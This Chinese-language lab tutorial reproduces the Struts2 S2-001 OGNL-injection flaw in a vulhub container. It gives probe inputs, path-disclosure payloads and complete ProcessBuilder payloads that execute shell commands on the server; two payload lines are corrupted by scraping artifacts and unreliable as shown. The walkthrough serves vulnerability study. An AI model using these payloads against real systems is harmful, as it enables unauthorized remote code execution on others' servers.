漏洞原理
由于使用者送出表單資料并且驗證失敗時,後端會将使用者先前送出的參數值使用OGNL表達式%{value}進行解析,然後重新填充到對應的表單資料當中,在真實的測試環境中,遇到注冊或登入界面,存在送出資料失敗情況,則後端會傳回之前送出的資料資訊,若後端使用%{value}對送出的資料執行了OGNL表達式解析,那麼可以利用這點,直接構造payload進行遠端代碼執行操作.
漏洞環境
#使用vulhub進行漏洞示範
/vulhub-master/struts2/s2-001
docker-compose build
docker-compose up -d
http://xxx.xxx.xxx.xxx:8080
漏洞利用
之前提到的OGNL表達式%{value},我們可以利用其中的value值來進行相關操作,驗證漏洞是否存在,将值輸入後submit
username:%{8*8}
password:%{7+2}
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLiAzNfRHLGZkRGZkRfJ3bs92YsYTMfVmepNHL4llaORzaq50MNpHW4Z0MMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnL0czM0QzN0YTM3EjNwEjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
注意看,%{ }中的值進行了解析運算,這說明後端将送出的錯誤資料進行了相應的OGNL表達式解析操作,并且填充到了對應的表單資料當中,
利用這一點,我們可以進行進一步的操作.
擷取tomcat絕對路徑
%{"tomcatDir{"[email protected].[email protected]getProperty("user.dir")+"}"}
擷取網站根目錄
%{#[email protected].[email protected]getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
将構造好的payload放至輸入框submit後,直接解析顯示了網站根目錄資訊
指令執行
指令執行的參數語句:new java.lang.String[]{"id"},{ }中的值為執行指令
#擷取id值
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"id"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
若指令需要攜帶參數執行時,因為存在空格的原因,需要進行語句的組合運作
#列出目前目錄下的檔案
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls","-lah"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
≈≈≈≈≈結語≈≈≈≈≈
君子不器,用成長性思維終身學習